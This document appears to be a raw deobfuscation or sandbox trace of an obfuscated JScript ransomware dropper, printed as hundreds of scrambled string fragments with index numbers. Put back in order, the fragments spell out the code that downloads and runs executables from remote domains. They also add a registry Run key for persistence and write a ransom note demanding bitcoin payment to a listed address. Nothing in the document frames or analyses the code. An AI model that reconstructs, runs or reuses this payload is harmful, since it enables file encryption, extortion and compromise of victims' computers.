196	u18 ( 360, 'it' );	u18(360,"it") ➔ undefined
197	u18 ( 499, ');' );	u18(499,");") ➔ undefined
198	u18 ( 165, 'ry {' );	u18(165,"ry {") ➔ undefined
199	u18 ( 614, ' yo' );	u18(614," yo") ➔ undefined
200	u18 ( 271, 'e(); ' );	u18(271,"e(); ") ➔ undefined
201	u18 ( 835, '+"%U' );	u18(835,"+"%U") ➔ undefined
202	u18 ( 56, 'Script' );	u18(56,"Script") ➔ undefined
203	u18 ( 280, 'atch(' );	u18(280,"atch(") ➔ undefined
204	u18 ( 17, '(34)' );	u18(17,"(34)") ➔ undefined
205	u18 ( 581, 'fp.Wri' );	u18(581,"fp.Wri") ➔ undefined
206	u18 ( 782, 'F /D' );	u18(782,"F /D") ➔ undefined
207	u18 ( 326, 'it' );	u18(326,"it") ➔ undefined
208	u18 ( 703, 'ind' );	u18(703,"ind") ➔ undefined
209	u18 ( 288, 'fn' );	u18(288,"fn") ➔ undefined
210	u18 ( 763, ' ADD ' );	u18(763," ADD ") ➔ undefined
211	u18 ( 509, ' of' );	u18(509," of") ➔ undefined
212	u18 ( 726, '"+c' );	u18(726,""+c") ➔ undefined
213	u18 ( 458, 'ps://' );	u18(458,"ps://") ➔ undefined
214	u18 ( 915, '+c' );	u18(915,"+c") ➔ undefined
215	u18 ( 831, '+".t' );	u18(831,"+".t") ➔ undefined
216	u18 ( 215, '1;' );	u18(215,"1;") ➔ undefined
217	u18 ( 736, ' /c R' );	u18(736," /c R") ➔ undefined
218	u18 ( 917, '.exe"+' );	u18(917,".exe"+") ➔ undefined
219	u18 ( 672, ' man' );	u18(672," man") ➔ undefined
220	u18 ( 630, ' W' );	u18(630," W") ➔ undefined
221	u18 ( 467, '.Wr' );	u18(467,".Wr") ➔ undefined
222	u18 ( 348, 'Line' );	u18(348,"Line") ➔ undefined
223	u18 ( 455, 'Line("' );	u18(455,"Line("") ➔ undefined
224	u18 ( 416, 'fp.Wri' );	u18(416,"fp.Wri") ➔ undefined
225	u18 ( 857, 'p"' );	u18(857,"p"") ➔ undefined
226	u18 ( 685, '); ws.' );	u18(685,"); ws.") ➔ undefined
227	u18 ( 898, ' ws.R' );	u18(898," ws.R") ➔ undefined
228	u18 ( 362, 'uni' );	u18(362,"uni") ➔ undefined
229	u18 ( 135, 'leS' );	u18(135,"leS") ➔ undefined
230	u18 ( 920, 'ws.R' );	u18(920,"ws.R") ➔ undefined
231	u18 ( 485, ' addre' );	u18(485," addre") ➔ undefined
232	u18 ( 237, 'e if(' );	u18(237,"e if(") ➔ undefined
233	u18 ( 439, '" BT' );	u18(439,"" BT") ➔ undefined
234	u18 ( 737, 'EG ADD' );	u18(737,"EG ADD") ➔ undefined
235	u18 ( 26, '; va' );	u18(26,"; va") ➔ undefined
236	u18 ( 512, 'wing l' );	u18(512,"wing l") ➔ undefined
237	u18 ( 697, 'E"+c' );	u18(697,"E"+c") ➔ undefined
238	u18 ( 375, 'you' );	u18(375,"you") ➔ undefined
239	u18 ( 683, 'lo' );	u18(683,"lo") ➔ undefined
240	u18 ( 343, 'onal f' );	u18(343,"onal f") ➔ undefined
241	u18 ( 881, 'hp",tr' );	u18(881,"hp",tr") ➔ undefined
242	u18 ( 700, 'oft"+' );	u18(700,"oft"+") ➔ undefined
243	u18 ( 497, ' "+' );	u18(497," "+") ➔ undefined
244	u18 ( 464, 'bitc' );	u18(464,"bitc") ➔ undefined
245	u18 ( 74, 'tS' );	u18(74,"tS") ➔ undefined
246	u18 ( 258, 'se if(' );	u18(258,"se if(") ➔ undefined
247	u18 ( 133, 'in' );	u18(133,"in") ➔ undefined
248	u18 ( 720, 'cq+" ' );	u18(720,"cq+" ") ➔ undefined
249	u18 ( 370, 'restor' );	u18(370,"restor") ➔ undefined
250	u18 ( 113, 'r x' );	u18(113,"r x") ➔ undefined
251	u18 ( 384, '.")' );	u18(384,".")") ➔ undefined
252	u18 ( 501, 'WriteL' );	u18(501,"WriteL") ➔ undefined
253	u18 ( 549, ' }; f' );	u18(549," }; f") ➔ undefined
254	u18 ( 417, 'teLine' );	u18(417,"teLine") ➔ undefined
255	u18 ( 5, 'ar bc' );	u18(5,"ar bc") ➔ undefined
256	u18 ( 584, '"); f' );	u18(584,""); f") ➔ undefined
257	u18 ( 916, 'q+fn+"' );	u18(916,"q+fn+"") ➔ undefined
258	u18 ( 445, 'arch h' );	u18(445,"arch h") ➔ undefined
259	u18 ( 255, '(p' );	u18(255,"(p") ➔ undefined
260	u18 ( 748, 'EG_' );	u18(748,"EG_") ➔ undefined
261	u18 ( 532, '=0' );	u18(532,"=0") ➔ undefined
262	u18 ( 146, '+".txt' );	u18(146,"+".txt") ➔ undefined
263	u18 ( 753, 'ed"' );	u18(753,"ed"") ➔ undefined
264	u18 ( 863, 'SPEC' );	u18(863,"SPEC") ➔ undefined
265	u18 ( 767, '"Cry' );	u18(767,""Cry") ➔ undefined
266	u18 ( 848, '.Run' );	u18(848,".Run") ➔ undefined
267	u18 ( 564, 're ' );	u18(564,"re ") ➔ undefined
268	u18 ( 908, '0,' );	u18(908,"0,") ➔ undefined
269	u18 ( 779, ' /t RE' );	u18(779," /t RE") ➔ undefined
270	u18 ( 570, 'riteLi' );	u18(570,"riteLi") ➔ undefined
271	u18 ( 785, '+"note' );	u18(785,"+"note") ➔ undefined
272	u18 ( 865, '/c not' );	u18(865,"/c not") ➔ undefined
273	u18 ( 414, 'eLine' );	u18(414,"eLine") ➔ undefined
274	u18 ( 155, 'ar i=l' );	u18(155,"ar i=l") ➔ undefined
275	u18 ( 354, 'ong R' );	u18(354,"ong R") ➔ undefined
276	u18 ( 66, 'll");' );	u18(66,"ll");") ➔ undefined
277	u18 ( 786, 'pa' );	u18(786,"pa") ➔ undefined
278	u18 ( 23, 'rC' );	u18(23,"rC") ➔ undefined
279	u18 ( 521, 'ad ' );	u18(521,"ad ") ➔ undefined
280	u18 ( 385, '; fp' );	u18(385,"; fp") ➔ undefined
281	u18 ( 762, 'REG' );	u18(762,"REG") ➔ undefined
282	u18 ( 76, 'ing' );	u18(76,"ing") ➔ undefined
283	u18 ( 528, '(""' );	u18(528,"(""") ➔ undefined
284	u18 ( 153, 'n++) {' );	u18(153,"n++) {") ➔ undefined
285	u18 ( 388, '("Ple' );	u18(388,"("Ple") ➔ undefined
286	u18 ( 812, 'ata%"+' );	u18(812,"ata%"+") ➔ undefined
287	u18 ( 556, 'rit' );	u18(556,"rit") ➔ undefined
288	u18 ( 418, '("' );	u18(418,"("") ➔ undefined
289	u18 ( 457, ' htt' );	u18(457," htt") ➔ undefined
290	u18 ( 928, 'q,0,0' );	u18(928,"q,0,0") ➔ undefined
291	u18 ( 112, '; va' );	u18(112,"; va") ➔ undefined
292	u18 ( 788, '"+cs' );	u18(788,""+cs") ➔ undefined
293	u18 ( 518, 'rowse' );	u18(518,"rowse") ➔ undefined
294	u18 ( 661, 'yment' );	u18(661,"yment") ➔ undefined
295	u18 ( 741, '"+cs+' );	u18(741,""+cs+") ➔ undefined
296	u18 ( 22, 'omCha' );	u18(22,"omCha") ➔ undefined
297	u18 ( 921, 'un(' );	u18(921,"un(") ➔ undefined
298	u18 ( 669, 'ca' );	u18(669,"ca") ➔ undefined
299	u18 ( 286, 'leEx' );	u18(286,"leEx") ➔ undefined
300	u18 ( 867, 'ad.ex' );	u18(867,"ad.ex") ➔ undefined
301	u18 ( 373, ' file' );	u18(373," file") ➔ undefined
302	u18 ( 838, '"+cs+"' );	u18(838,""+cs+"") ➔ undefined
303	u18 ( 367, 'rit' );	u18(367,"rit") ➔ undefined
304	u18 ( 180, '="+id+' );	u18(180,"="+id+") ➔ undefined
305	u18 ( 229, '+"' );	u18(229,"+"") ➔ undefined
306	u18 ( 234, 'ch(er)' );	u18(234,"ch(er)") ➔ undefined
307	u18 ( 568, ');' );	u18(568,");") ➔ undefined
308	u18 ( 834, '" "+cq' );	u18(834,"" "+cq") ➔ undefined
309	u18 ( 869, '+fn+' );	u18(869,"+fn+") ➔ undefined
310	u18 ( 443, 'h, us' );	u18(443,"h, us") ➔ undefined
311	u18 ( 615, 'u exc' );	u18(615,"u exc") ➔ undefined
312	u18 ( 840, 'op"' );	u18(840,"op"") ➔ undefined
313	u18 ( 329, ' your' );	u18(329," your") ➔ undefined
314	u18 ( 712, '"+c' );	u18(712,""+c") ➔ undefined
315	u18 ( 120, 'DB.' );	u18(120,"DB.") ➔ undefined
316	u18 ( 311, '",tr' );	u18(311,"",tr") ➔ undefined
317	u18 ( 484, 'oin' );	u18(484,"oin") ➔ undefined
318	u18 ( 89, 'nmentS' );	u18(89,"nmentS") ➔ undefined
319	u18 ( 307, 'Text' );	u18(307,"Text") ➔ undefined
320	u18 ( 764, '"+c' );	u18(764,""+c") ➔ undefined
321	u18 ( 868, 'e "+cq' );	u18(868,"e "+cq") ➔ undefined
322	u18 ( 262, '.sa' );	u18(262,".sa") ➔ undefined
323	u18 ( 252, '.s' );	u18(252,".s") ➔ undefined
324	u18 ( 461, 'oins.' );	u18(461,"oins.") ➔ undefined
325	u18 ( 260, '5){' );	u18(260,"5){") ➔ undefined
326	u18 ( 345, '"); ' );	u18(345,""); ") ➔ undefined
327	u18 ( 34, '--p' );	u18(34,"--p") ➔ undefined
328	u18 ( 168, '"G' );	u18(168,""G") ➔ undefined
329	u18 ( 825, 'EC' );	u18(825,"EC") ➔ undefined
330	u18 ( 855, 'q+fn' );	u18(855,"q+fn") ➔ undefined
331	u18 ( 609, ' -' );	u18(609," -") ➔ undefined
332	u18 ( 643, 'it' );	u18(643,"it") ➔ undefined
333	u18 ( 538, ' fp.W' );	u18(538," fp.W") ➔ undefined
334	u18 ( 794, 'q,0' );	u18(794,"q,0") ➔ undefined
335	u18 ( 392, ' th' );	u18(392," th") ➔ undefined
336	u18 ( 754, '+cq,0' );	u18(754,"+cq,0") ➔ undefined
337	u18 ( 595, 'ays' );	u18(595,"ays") ➔ undefined
338	u18 ( 815, 'p"+' );	u18(815,"p"+") ➔ undefined
339	u18 ( 446, 'ere:"' );	u18(446,"ere:"") ➔ undefined
340	u18 ( 3, ' ad=' );	u18(3," ad=") ➔ undefined
341	u18 ( 896, 'lo' );	u18(896,"lo") ➔ undefined
342	u18 ( 143, 'Ex' );	u18(143,"Ex") ➔ undefined
343	u18 ( 627, 'to rei' );	u18(627,"to rei") ➔ undefined
344	u18 ( 310, 'xt' );	u18(310,"xt") ➔ undefined
345	u18 ( 681, '"); fp' );	u18(681,""); fp") ➔ undefined
346	u18 ( 770, '+cs+"' );	u18(770,"+cs+"") ➔ undefined
347	u18 ( 7, '780"; ' );	u18(7,"780"; ") ➔ undefined
348	u18 ( 793, '+cq+c' );	u18(793,"+cq+c") ➔ undefined
349	u18 ( 636, 'vir' );	u18(636,"vir") ➔ undefined
350	u18 ( 657, 'after' );	u18(657,"after") ➔ undefined
351	u18 ( 680, 'txt).' );	u18(680,"txt).") ➔ undefined
352	u18 ( 230, '.exe' );	u18(230,".exe") ➔ undefined
353	u18 ( 4, '"1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN"; v' );	u18(4,""1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN"; v") ➔ undefined
354	u18 ( 220, 'oFi' );	u18(220,"oFi") ➔ undefined
355	u18 ( 608, ' ' );	u18(608," ") ➔ undefined
356	u18 ( 102, '=W' );	u18(102,"=W") ➔ undefined
357	u18 ( 95, '"p' );	u18(95,""p") ➔ undefined
358	u18 ( 152, ';n<=5;' );	u18(152,";n<=5;") ➔ undefined
359	u18 ( 862, '"%COM' );	u18(862,""%COM") ➔ undefined
360	u18 ( 268, ';} }; ' );	u18(268,";} }; ") ➔ undefined
361	u18 ( 474, 'ne("3.' );	u18(474,"ne("3.") ➔ undefined
362	u18 ( 269, 'xa' );	u18(269,"xa") ➔ undefined
363	u18 ( 59, 'eOb' );	u18(59,"eOb") ➔ undefined
364	u18 ( 886, '0;' );	u18(886,"0;") ➔ undefined
365	u18 ( 412, 'fp' );	u18(412,"fp") ➔ undefined
366	u18 ( 398, 'it' );	u18(398,"it") ➔ undefined
367	u18 ( 300, 'n+".' );	u18(300,"n+".") ➔ undefined
368	u18 ( 717, '"Cry' );	u18(717,""Cry") ➔ undefined
369	u18 ( 478, '" ' );	u18(478,"" ") ➔ undefined
370	u18 ( 337, 'and ' );	u18(337,"and ") ➔ undefined
371	u18 ( 577, 'ASE ' );	u18(577,"ASE ") ➔ undefined
372	u18 ( 371, 'e yo' );	u18(371,"e yo") ➔ undefined
373	u18 ( 213, ') {' );	u18(213,") {") ➔ undefined
374	u18 ( 664, 'p.Writ' );	u18(664,"p.Writ") ➔ undefined
375	u18 ( 699, 'Micros' );	u18(699,"Micros") ➔ undefined
376	u18 ( 747, 't R' );	u18(747,"t R") ➔ undefined
377	u18 ( 18, '; var' );	u18(18,"; var") ➔ undefined
378	u18 ( 709, 'sion"+' );	u18(709,"sion"+") ➔ undefined
379	u18 ( 597, 'OU' );	u18(597,"OU") ➔ undefined
380	u18 ( 147, '")) { ' );	u18(147,"")) { ") ➔ undefined
381	u18 ( 648, 'our fi' );	u18(648,"our fi") ➔ undefined
382	u18 ( 378, ' "' );	u18(378," "") ➔ undefined
383	u18 ( 75, 'tr' );	u18(75,"tr") ➔ undefined
384	u18 ( 274, 'n==1){' );	u18(274,"n==1){") ➔ undefined
385	u18 ( 796, ' ws.R' );	u18(796," ws.R") ➔ undefined
386	u18 ( 437, 'y "' );	u18(437,"y "") ➔ undefined
387	u18 ( 144, 'is' );	u18(144,"is") ➔ undefined
388	u18 ( 198, 'e=' );	u18(198,"e=") ➔ undefined
389	u18 ( 111, 'HTTP")' );	u18(111,"HTTP")") ➔ undefined
390	u18 ( 62, '("W' );	u18(62,"("W") ➔ undefined
391	u18 ( 227, 'ws.Run' );	u18(227,"ws.Run") ➔ undefined
392	u18 ( 783, ' "' );	u18(783," "") ➔ undefined
393	u18 ( 351, 'rypted' );	u18(351,"rypted") ➔ undefined
394	u18 ( 187, 'end(' );	u18(187,"end(") ➔ undefined
395	u18 ( 207, 'eBo' );	u18(207,"eBo") ➔ undefined
396	u18 ( 335, 'tabas' );	u18(335,"tabas") ➔ undefined
397	u18 ( 322, 'iteLin' );	u18(322,"iteLin") ➔ undefined
398	u18 ( 475, ' Se' );	u18(475," Se") ➔ undefined
399	u18 ( 701, 'cs' );	u18(701,"cs") ➔ undefined
400	u18 ( 513, 'ink' );	u18(513,"ink") ➔ undefined
401	u18 ( 137, 'bject"' );	u18(137,"bject"") ➔ undefined
402	u18 ( 766, 'R"+cs+' );	u18(766,"R"+cs+") ➔ undefined
403	u18 ( 247, ');}' );	u18(247,");}") ➔ undefined
404	u18 ( 542, ' http' );	u18(542," http") ➔ undefined
405	u18 ( 828, 'y ' );	u18(828,"y ") ➔ undefined
406	u18 ( 9, 'ld=0; ' );	u18(9,"ld=0; ") ➔ undefined
407	u18 ( 714, ' /' );	u18(714," /") ➔ undefined
408	u18 ( 480, 'C to' );	u18(480,"C to") ➔ undefined
409	u18 ( 433, '; fp.' );	u18(433,"; fp.") ➔ undefined
410	u18 ( 692, '"+cq+' );	u18(692,""+cq+") ➔ undefined
411	u18 ( 79, 'P%' );	u18(79,"P%") ➔ undefined
412	u18 ( 727, 'q+fn' );	u18(727,"q+fn") ➔ undefined
413	u18 ( 344, 'iles' );	u18(344,"iles") ➔ undefined
414	u18 ( 68, 'ar fn=' );	u18(68,"ar fn=") ➔ undefined
415	u18 ( 141, 'fo.' );	u18(141,"fo.") ➔ undefined
416	u18 ( 346, 'fp.Wri' );	u18(346,"fp.Wri") ➔ undefined
417	u18 ( 306, 'ate' );	u18(306,"ate") ➔ undefined
418	u18 ( 533, ';i<' );	u18(533,";i<") ➔ undefined
419	u18 ( 790, 'n+".t' );	u18(790,"n+".t") ➔ undefined
420	u18 ( 897, 'se();' );	u18(897,"se();") ➔ undefined
421	u18 ( 665, 'eLine' );	u18(665,"eLine") ➔ undefined
422	u18 ( 674, ' yo' );	u18(674," yo") ➔ undefined
423	u18 ( 632, 'ows, u' );	u18(632,"ows, u") ➔ undefined
424	u18 ( 718, 'pted' );	u18(718,"pted") ➔ undefined
425	u18 ( 278, ' }' );	u18(278," }") ➔ undefined
426	u18 ( 537, 'i++) {' );	u18(537,"i++) {") ➔ undefined
427	u18 ( 208, 'dy);' );	u18(208,"dy);") ➔ undefined
428	u18 ( 448, 'fp' );	u18(448,"fp") ➔ undefined
429	u18 ( 236, '} els' );	u18(236,"} els") ➔ undefined
430	u18 ( 1, '="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; ' );	u18(1,"="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; ") ➔ undefined
431	u18 ( 567, '."' );	u18(567,"."") ➔ undefined
432	u18 ( 118, 'ct("' );	u18(118,"ct("") ➔ undefined
433	u18 ( 57, '.Cre' );	u18(57,".Cre") ➔ undefined
434	u18 ( 856, '+".ph' );	u18(856,"+".ph") ➔ undefined
435	u18 ( 575, 'Line(' );	u18(575,"Line(") ➔ undefined
436	u18 ( 246, 'xe",2' );	u18(246,"xe",2") ➔ undefined
437	u18 ( 126, 'pt' );	u18(126,"pt") ➔ undefined
438	u18 ( 795, ',0);' );	u18(795,",0);") ➔ undefined
439	u18 ( 200, ' xa.' );	u18(200," xa.") ➔ undefined
440	u18 ( 690, 'EG' );	u18(690,"EG") ➔ undefined
441	u18 ( 591, ' do n' );	u18(591," do n") ➔ undefined
442	u18 ( 884, 'r(var ' );	u18(884,"r(var ") ➔ undefined
443	u18 ( 851, 'EC% /c' );	u18(851,"EC% /c") ➔ undefined
444	u18 ( 844, '.txt' );	u18(844,".txt") ➔ undefined
445	u18 ( 186, ' xo.s' );	u18(186," xo.s") ➔ undefined
446	u18 ( 776, 'd"' );	u18(776,"d"") ➔ undefined
447	u18 ( 800, 'C%' );	u18(800,"C%") ➔ undefined
448	u18 ( 103, 'Sc' );	u18(103,"Sc") ➔ undefined
449	u18 ( 816, 'cs+"DE' );	u18(816,"cs+"DE") ➔ undefined
450	u18 ( 495, 'ne(" ' );	u18(495,"ne(" ") ➔ undefined
451	u18 ( 116, '.Crea' );	u18(116,".Crea") ➔ undefined
452	u18 ( 94, '+cs+' );	u18(94,"+cs+") ➔ undefined
453	u18 ( 199, '1;' );	u18(199,"1;") ➔ undefined
454	u18 ( 279, ' c' );	u18(279," c") ➔ undefined
455	u18 ( 912, 'OMSPEC' );	u18(912,"OMSPEC") ➔ undefined
456	u18 ( 633, 'pd' );	u18(633,"pd") ➔ undefined
457	u18 ( 32, 'dhdb' );	u18(32,"dhdb") ➔ undefined
458	u18 ( 907, '"+cq,' );	u18(907,""+cq,") ➔ undefined
459	u18 ( 336, 'es ' );	u18(336,"es ") ➔ undefined
460	u18 ( 128, 'reate' );	u18(128,"reate") ➔ undefined
461	u18 ( 397, '.Wr' );	u18(397,".Wr") ➔ undefined
462	u18 ( 836, 'serPr' );	u18(836,"serPr") ➔ undefined
463	u18 ( 557, 'eL' );	u18(557,"eL") ➔ undefined
464	u18 ( 579, 'MBER:' );	u18(579,"MBER:") ➔ undefined
465	u18 ( 588, '" ' );	u18(588,"" ") ➔ undefined
466	u18 ( 476, 'nd "' );	u18(476,"nd "") ➔ undefined
467	u18 ( 50, ',"ra' );	u18(50,","ra") ➔ undefined
468	u18 ( 452, '; ' );	u18(452,"; ") ➔ undefined
469	u18 ( 660, 'e pa' );	u18(660,"e pa") ➔ undefined
470	u18 ( 866, 'ep' );	u18(866,"ep") ➔ undefined
471	u18 ( 593, 'y in 3' );	u18(593,"y in 3") ➔ undefined
472	u18 ( 814, 'Deskto' );	u18(814,"Deskto") ➔ undefined
473	u18 ( 283, '}; if(' );	u18(283,"}; if(") ➔ undefined
474	u18 ( 524, '");' );	u18(524,"");") ➔ undefined
475	u18 ( 787, 'd.exe ' );	u18(787,"d.exe ") ➔ undefined
476	u18 ( 90, 'tring' );	u18(90,"tring") ➔ undefined
477	u18 ( 749, 'SZ /F' );	u18(749,"SZ /F") ➔ undefined
478	u18 ( 544, 'l[i]' );	u18(544,"l[i]") ➔ undefined
479	u18 ( 757, 'Run' );	u18(757,"Run") ➔ undefined
480	u18 ( 356, '102' );	u18(356,"102") ➔ undefined
481	u18 ( 809, '" "' );	u18(809,"" "") ➔ undefined
482	u18 ( 864, '% ' );	u18(864,"% ") ➔ undefined
483	u18 ( 315, 'ine' );	u18(315,"ine") ➔ undefined
484	u18 ( 121, 'Strea' );	u18(121,"Strea") ➔ undefined
485	u18 ( 264, 'le(' );	u18(264,"le(") ➔ undefined
486	u18 ( 29, '"xn' );	u18(29,""xn") ➔ undefined
487	u18 ( 911, '"%C' );	u18(911,""%C") ➔ undefined
488	u18 ( 381, '(b' );	u18(381,"(b") ➔ undefined
489	u18 ( 301, 'php"))' );	u18(301,"php"))") ➔ undefined
490	u18 ( 293, 'Exist' );	u18(293,"Exist") ➔ undefined
491	u18 ( 554, '; fp' );	u18(554,"; fp") ➔ undefined
492	u18 ( 547, '?a="' );	u18(547,"?a="") ➔ undefined
493	u18 ( 406, 'Cre' );	u18(406,"Cre") ➔ undefined
494	u18 ( 722, 'G_' );	u18(722,"G_") ➔ undefined
495	u18 ( 223, '+".e' );	u18(223,"+".e") ➔ undefined
496	u18 ( 161, '+) {' );	u18(161,"+) {") ➔ undefined
497	u18 ( 88, 'viro' );	u18(88,"viro") ➔ undefined
498	u18 ( 333, 'tos,' );	u18(333,"tos,") ➔ undefined
499	u18 ( 361, 'h a ' );	u18(361,"h a ") ➔ undefined
500	u18 ( 368, 'eLine' );	u18(368,"eLine") ➔ undefined
501	u18 ( 411, ':"); ' );	u18(411,":"); ") ➔ undefined
502	u18 ( 149, '(var' );	u18(149,"(var") ➔ undefined
503	u18 ( 188, '); i' );	u18(188,"); i") ➔ undefined
504	u18 ( 206, 'ns' );	u18(206,"ns") ➔ undefined
505	u18 ( 511, ' follo' );	u18(511," follo") ➔ undefined
506	u18 ( 797, 'un(' );	u18(797,"un(") ➔ undefined
507	u18 ( 109, 'ml2.' );	u18(109,"ml2.") ➔ undefined
508	u18 ( 569, ' fp.W' );	u18(569," fp.W") ➔ undefined
509	u18 ( 619, '.Writ' );	u18(619,".Writ") ➔ undefined
510	u18 ( 169, 'ET",' );	u18(169,"ET",") ➔ undefined
511	u18 ( 45, 'estasg' );	u18(45,"estasg") ➔ undefined
512	u18 ( 755, ',0); ' );	u18(755,",0); ") ➔ undefined
513	u18 ( 44, 'om","c' );	u18(44,"om","c") ➔ undefined
514	u18 ( 922, '"%COMS' );	u18(922,""%COMS") ➔ undefined
515	u18 ( 879, 'le(f' );	u18(879,"le(f") ➔ undefined
516	u18 ( 389, 'as' );	u18(389,"as") ➔ undefined
517	u18 ( 842, '"DE' );	u18(842,""DE") ➔ undefined
518	u18 ( 435, 'Line(' );	u18(435,"Line(") ➔ undefined
519	u18 ( 364, 'ke' );	u18(364,"ke") ➔ undefined
520	u18 ( 883, 'fo' );	u18(883,"fo") ➔ undefined
521	u18 ( 399, 'eLine(' );	u18(399,"eLine(") ➔ undefined
522	u18 ( 620, 'eLi' );	u18(620,"eLi") ➔ undefined
523	u18 ( 440, 'C ' );	u18(440,"C ") ➔ undefined
524	u18 ( 631, 'ind' );	u18(631,"ind") ➔ undefined
525	u18 ( 328, 'e("All' );	u18(328,"e("All") ➔ undefined
526	u18 ( 407, 'ate Bi' );	u18(407,"ate Bi") ➔ undefined
527	u18 ( 312, 'ue);' );	u18(312,"ue);") ➔ undefined
528	u18 ( 228, '(fn+n' );	u18(228,"(fn+n") ➔ undefined
529	u18 ( 444, 'ing se' );	u18(444,"ing se") ➔ undefined
530	u18 ( 226, 'y{' );	u18(226,"y{") ➔ undefined
531	u18 ( 192, '=200)' );	u18(192,"=200)") ➔ undefined
532	u18 ( 219, 'aveT' );	u18(219,"aveT") ➔ undefined
533	u18 ( 276, ';break' );	u18(276,";break") ➔ undefined
534	u18 ( 676, 'desk' );	u18(676,"desk") ➔ undefined
535	u18 ( 104, 'ript.' );	u18(104,"ript.") ➔ undefined
536	u18 ( 191, 's=' );	u18(191,"s=") ➔ undefined
537	u18 ( 725, ' /D ' );	u18(725," /D ") ➔ undefined
538	u18 ( 471, '; fp.W' );	u18(471,"; fp.W") ➔ undefined
539	u18 ( 539, 'riteLi' );	u18(539,"riteLi") ➔ undefined
540	u18 ( 308, 'File(' );	u18(308,"File(") ➔ undefined
541	u18 ( 132, 'ipt' );	u18(132,"ipt") ➔ undefined
542	u18 ( 265, 'fn+' );	u18(265,"fn+") ➔ undefined
543	u18 ( 175, 'er/' );	u18(175,"er/") ➔ undefined
544	u18 ( 561, 'pto' );	u18(561,"pto") ➔ undefined
545	u18 ( 702, '+"W' );	u18(702,"+"W") ➔ undefined
546	u18 ( 517, 'r b' );	u18(517,"r b") ➔ undefined
547	u18 ( 28, 'l=[' );	u18(28,"l=[") ➔ undefined
548	u18 ( 65, 'She' );	u18(65,"She") ➔ undefined
549	u18 ( 560, ' decry' );	u18(560," decry") ➔ undefined
550	u18 ( 238, 'n==' );	u18(238,"n==") ➔ undefined
551	u18 ( 257, '} el' );	u18(257,"} el") ➔ undefined
552	u18 ( 148, 'for' );	u18(148,"for") ➔ undefined
553	u18 ( 925, 'EL' );	u18(925,"EL") ➔ undefined
554	u18 ( 37, 'o.ru",' );	u18(37,"o.ru",") ➔ undefined
555	u18 ( 498, 'ad' );	u18(498,"ad") ➔ undefined
556	u18 ( 853, '".exe ' );	u18(853,"".exe ") ➔ undefined
557	u18 ( 637, 'us' );	u18(637,"us") ➔ undefined
558	u18 ( 92, '"%TEM' );	u18(92,""%TEM") ➔ undefined
559	u18 ( 39, 'acamp' );	u18(39,"acamp") ➔ undefined
560	u18 ( 240, 'a.' );	u18(240,"a.") ➔ undefined
561	u18 ( 760, 'C% ' );	u18(760,"C% ") ➔ undefined
562	u18 ( 553, '")' );	u18(553,"")") ➔ undefined
563	u18 ( 900, 'OMSP' );	u18(900,"OMSP") ➔ undefined
564	u18 ( 91, 's(' );	u18(91,"s(") ➔ undefined
565	u18 ( 40, 'agnet' );	u18(40,"agnet") ➔ undefined
566	u18 ( 176, '?ad' );	u18(176,"?ad") ➔ undefined
567	u18 ( 16, 'rCode' );	u18(16,"rCode") ➔ undefined
568	u18 ( 409, 'walle' );	u18(409,"walle") ➔ undefined
569	u18 ( 823, 'Run("%' );	u18(823,"Run("%") ➔ undefined
570	u18 ( 473, 'teLi' );	u18(473,"teLi") ➔ undefined
571	u18 ( 142, 'File' );	u18(142,"File") ➔ undefined
572	u18 ( 805, '+fn' );	u18(805,"+fn") ➔ undefined
573	u18 ( 693, '"HKC' );	u18(693,""HKC") ➔ undefined
574	u18 ( 578, 'REME' );	u18(578,"REME") ➔ undefined
575	u18 ( 687, 'COMSP' );	u18(687,"COMSP") ➔ undefined
576	u18 ( 20, 'Str' );	u18(20,"Str") ➔ undefined
577	u18 ( 504, 'p.Wri' );	u18(504,"p.Wri") ➔ undefined
578	u18 ( 353, 'g str' );	u18(353,"g str") ➔ undefined
579	u18 ( 374, 's ' );	u18(374,"s ") ➔ undefined
580	u18 ( 463, 'buy_' );	u18(463,"buy_") ➔ undefined
581	u18 ( 459, 'loc' );	u18(459,"loc") ➔ undefined
582	u18 ( 602, ' FI' );	u18(602," FI") ➔ undefined
583	u18 ( 919, ',0); ' );	u18(919,",0); ") ➔ undefined
584	u18 ( 259, 'n==' );	u18(259,"n==") ➔ undefined
585	u18 ( 849, '("%COM' );	u18(849,"("%COM") ➔ undefined
586	u18 ( 428, 'et/n' );	u18(428,"et/n") ➔ undefined
587	u18 ( 72, 'ir' );	u18(72,"ir") ➔ undefined
588	u18 ( 612, 'n ' );	u18(612,"n ") ➔ undefined
589	u18 ( 605, 'p.Writ' );	u18(605,"p.Writ") ➔ undefined
590	u18 ( 603, 'LES."' );	u18(603,"LES."") ➔ undefined
591	u18 ( 124, 'r fo=' );	u18(124,"r fo=") ➔ undefined
592	u18 ( 438, '+bc+' );	u18(438,"+bc+") ➔ undefined
593	u18 ( 691, ' ADD ' );	u18(691," ADD ") ➔ undefined
594	u18 ( 534, 'll.l' );	u18(534,"ll.l") ➔ undefined
595	u18 ( 740, '"HKCR' );	u18(740,""HKCR") ➔ undefined
596	u18 ( 205, 'spo' );	u18(205,"spo") ➔ undefined
597	u18 ( 402, '.Wr' );	u18(402,".Wr") ➔ undefined
598	u18 ( 114, 'a=W' );	u18(114,"a=W") ➔ undefined
599	u18 ( 282, '}; }; ' );	u18(282,"}; }; ") ➔ undefined
600	u18 ( 813, 'cs+"' );	u18(813,"cs+"") ➔ undefined
601	u18 ( 927, 'q+pd+c' );	u18(927,"q+pd+c") ➔ undefined
602	u18 ( 526, 'Write' );	u18(526,"Write") ➔ undefined
603	u18 ( 611, 'dy ca' );	u18(611,"dy ca") ➔ undefined
604	u18 ( 772, '+cs+"o' );	u18(772,"+cs+"o") ➔ undefined
605	u18 ( 294, 's(' );	u18(294,"s(") ➔ undefined
606	u18 ( 396, '; fp' );	u18(396,"; fp") ➔ undefined
607	u18 ( 232, '0);}c' );	u18(232,"0);}c") ➔ undefined
608	u18 ( 46, 'abr' );	u18(46,"abr") ➔ undefined
609	u18 ( 878, 'tFi' );	u18(878,"tFi") ➔ undefined
610	u18 ( 151, '=1' );	u18(151,"=1") ➔ undefined
611	u18 ( 266, '".ph' );	u18(266,"".ph") ➔ undefined
612	u18 ( 211, '>10' );	u18(211,">10") ➔ undefined
